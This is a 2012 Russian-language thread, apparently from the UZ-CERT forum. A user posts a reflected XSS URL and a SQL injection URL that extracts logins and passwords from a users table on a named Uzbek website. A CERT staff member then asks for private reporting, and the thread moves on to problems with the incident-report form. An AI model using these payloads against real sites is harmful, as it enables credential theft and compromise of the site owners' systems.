|
|
Знаете ли Вы, что ... | |
...до того как открыть новую тему, стоит использовать поиск: такая тема уже может существовать. | |
<< Предыдущий совет - Случайный совет - Следующий совет >> |
UZ-CERT Отдел информационной безопасности ЕИ UZINFOCOM (cert.uz) |
Ответить |
|
Опции темы | Опции просмотра |
23.08.2012 23:15 | #1 | ||
Engineer
Сообщений: 509
+ 45
169/112
– 0
12/9
|
Код:
http://istedod.uz/?page&pid=8--%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E Код:
http://istedod.uz/?page&pid=8%20and%201=0%20union%20select%201,parol,3,login%20from%20users%20--
__________________
Мы не возьмём его в зоопарк. ... Неизвестный науке зверь !!! (с) Чебурашка |
||
|
Ответить |
24.08.2012 09:43 | #3 |
Сообщений: 967
+ 184
236/143
– 1
1/1
|
Было бы лучше, если бы Вы сообщали напрямую владельцам, либо в Службу UZ-CERT об обнаруженных угрозах на веб-сайтах в доменой зоне .UZ Публичное размещение уязвимостей, может повлечь за собой возможные взломы и компрометацию этих ресурсов, что может неблагоприятно сказаться на их работе.
|
|
Ответить |
"+" от:
|
25.08.2012 08:21 | #5 |
Engineer
Сообщений: 509
+ 45
169/112
– 0
12/9
|
немедленное исправление недостатков.
http://cert.uz/incident/ а если я не собираюсь сообщать Место работы,Телефоны и всякую инфу ?
__________________
Мы не возьмём его в зоопарк. ... Неизвестный науке зверь !!! (с) Чебурашка |
|
Ответить |
25.08.2012 08:31 | #6 |
Engineer
Сообщений: 509
+ 45
169/112
– 0
12/9
|
при отправке данных в
http://cert.uz/incident/ возникает ошибка Method Not Implemented POST to /incident/send.php not supported.
__________________
Мы не возьмём его в зоопарк. ... Неизвестный науке зверь !!! (с) Чебурашка |
|
Ответить |
25.08.2012 12:08 | #7 | |
Сообщений: 967
+ 184
236/143
– 1
1/1
|
Цитата:
|
|
|
Ответить |
Реклама и уведомления | |
25.08.2012 12:09 | #8 | |
Сообщений: 967
+ 184
236/143
– 1
1/1
|
Цитата:
|
|
|
Ответить |
28.08.2012 10:20 | #9 | ||
Engineer
Сообщений: 509
+ 45
169/112
– 0
12/9
|
Цитата:
Тема сообщения: freshmusic.uz - XSS Ваше имя: insider Место работы: ХХХ Должность: ХХХ Телефон, факс: 222-55-66 Электронная почта: aaa@aa.aa Просим вас указать ... : Код:
http://freshmusic.uz/abc.php?type= << XSS >> Возможно стоит фильтр POST данных которая реагирует на некоторые ключевые слова.
__________________
Мы не возьмём его в зоопарк. ... Неизвестный науке зверь !!! (с) Чебурашка Последний раз редактировалось Dmitry Paleev; 28.08.2012 в 12:46. |
||
|
Ответить |
28.08.2012 12:45 | #10 | |||
Сообщений: 967
+ 184
236/143
– 1
1/1
|
Цитата:
|
|||
|
Ответить |
|